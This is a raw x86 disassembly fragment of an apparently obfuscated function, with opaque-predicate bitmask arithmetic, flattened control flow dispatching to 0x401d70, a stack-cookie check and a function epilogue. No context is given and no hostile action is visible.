mov eax, dword [0x482584]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
and edx, 0x5085ef2f
and eax, 0xaf7a10d0
or edx, eax
mov esi, edx
mov eax, edx
xor eax, 0x92a0000
xor esi, 0x5085ef2f
xor edx, 0x54564ac5
and edx, esi
and eax, 0x49ab0620
and esi, 0xb654f9df
or esi, eax
mov ecx, esi
xor esi, 0x49ab0620
xor ecx, 0xb654f9df
mov eax, esi
or eax, 0xfb2c5a15
mov ebx, ecx
and ebx, 0x4d1a4e2
and esi, 0x117548cc
mov edi, eax
and edi, 0xb226590d
or ebx, edi
mov edi, edx
not edi
and edx, 0x4dd9a6f2
or eax, edi
and edi, 0xb226590d
or edx, edi
not eax
xor edx, ebx
or eax, edx
not edx
and edx, 0xfb2c5a14
and eax, 0x4d3a5eb
or eax, edx
mov edx, ecx
and edx, 0xee8ab733
and ecx, 1
or edx, esi
xor edx, 0x117548cd
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xdbdff348
and edx, 0x24200cb7
or ecx, edx
mov edx, eax
not edx
and eax, 0xf2018933
mov esi, edx
and esi, 0xdfe76cc
or eax, esi
mov esi, ecx
xor esi, 0xd2018100
xor ecx, 0x24200cb7
or edx, ecx
and ecx, 0xdfe76cc
and esi, 0xf2018933
or esi, ecx
not edx
xor esi, eax
or edx, esi
mov eax, edx
not eax
mov esi, edx
and esi, 0x38d263
and edx, 0x90002c08
mov ecx, eax
and ecx, 0x69070100
or eax, 0x28259300
or esi, ecx
and eax, 0x2ee59394
mov ecx, esi
xor ecx, 0x184063
xor esi, 0x2ec50194
or edx, eax
and esi, 0x2ee59394
and ecx, 0x411a4063
or ecx, esi
mov esi, 0x8ba37034
xor edx, ecx
mov eax, edx
not eax
and edx, 0x693fd363
and eax, 0x96c02c9c
or edx, eax
setne al
cmp dword [0x482580], 0xa
mov edx, eax
setl ah
setge cl
inc dl
mov ch, dl
and ch, al
xor ch, 1
or ch, al
mov al, cl
xor ch, 1
or ch, dl
xor al, ch
or ch, cl
not al
xor ch, 1
and al, cl
mov cl, ah
xor cl, dl
or dl, ah
or al, ch
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
mov edx, eax
or cl, ah
mov ah, al
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
or ah, cl
xor dl, 1
or dl, al
mov al, dl
and dl, cl
xor cl, 1
xor al, 1
and al, cl
mov ecx, 0x5941f40
or dl, al
mov al, ah
xor al, dl
test ah, 1
cmovne ecx, esi
test dl, 1
not al
cmove ecx, esi
test al, 1
mov eax, 0x5941f40
cmovne ecx, eax
mov eax, ecx
jmp 0x401d70
cmp byte [ebp - 0x7f], 0
mov eax, 0x94e7ca61
mov ecx, 0x4d465fbb
cmovne eax, ecx
jmp 0x401d70
mov eax, dword [ebp - 0x170]
mov ecx, dword [ebp - 0x16c]
cmp ecx, dword [eax]
mov eax, 0xfa9e0dae
setb byte [ebp - 0x75]
jmp 0x401d70
cmp byte [ebp - 0x7c], 0
mov eax, 0x60b44b14
mov ecx, 0x6f70d52c
cmovne eax, ecx
jmp 0x401d70
cmp dword [ebp - 0xfc], 0
mov eax, dword [0x482584]
lea edx, [eax + 1]
setne byte [ebp - 0x76]
imul edx, eax
mov ecx, edx
not ecx
mov esi, edx
andn eax, edx, edx
and esi, 0xafb6a090
and ecx, 0x50495f6f
or ecx, esi
mov esi, eax
not esi
and eax, 0x50495f6f
or edx, esi
and esi, 0xafb6a090
or eax, esi
not edx
xor eax, ecx
or edx, eax
mov ecx, edx
not ecx
mov eax, edx
and eax, 0x17365f5f
and edx, 0x440c1257
mov esi, ecx
and esi, 0xe8c9a0a0
or eax, esi
mov esi, eax
not esi
and eax, 0x59195e62
and esi, 0xa6e6a19d
or eax, esi
mov esi, ecx
and esi, 0xbbf3eda8
and ecx, 1
or esi, edx
mov edx, eax
xor edx, 0x3000e881
xor eax, 0x4e2f013c
xor esi, 0x440c1256
and edx, 0x360ce9a1
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x3321a0e8
and esi, 0xccde5f17
or ecx, esi
mov esi, eax
and esi, 0xc9f3165e
or edx, esi
mov esi, ecx
xor esi, 0x3200a0a0
xor ecx, 0xccde5f17
or eax, ecx
and ecx, 0xc9f3165e
and esi, 0x360ce9a1
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x9139d1e1
and edx, 0x6ec62e1e
or edx, esi
mov esi, ecx
not esi
and ecx, 0x6ec62e1e
or eax, esi
and esi, 0x9139d1e1
or ecx, esi
not eax
mov esi, 0xf80bd9c7
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x1712021
mov edx, ecx
and edx, 0xfe8edfde
or eax, edx
xor eax, 0x1712021
or eax, ecx
cmp eax, 0xffffffff
sete ah
cmp dword [0x482580], 0xa
setge al
mov edx, eax
xor dl, ah
or ah, al
mov ecx, edx
not cl
and cl, al
and al, dl
xor cl, 1
xor al, 1
mov ch, cl
or cl, ah
xor ch, ah
mov ah, al
or al, dl
xor cl, 1
xor ah, dl
xor al, 1
or cl, ch
or al, ah
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x1e7c1b3a
cmovne eax, esi
test cl, 1
mov ecx, 0x1e7c1b3a
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x401d70
mov eax, dword [ebp - 0x3c]
mov eax, 0xaa53d975
jmp 0x401d70
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x50]
mov eax, 0x538106a1
jmp 0x401d70
cmp eax, 0xc59f1c92
jne 0x401d70
mov esi, dword [ebp - 0x1e8]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.00421a20
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret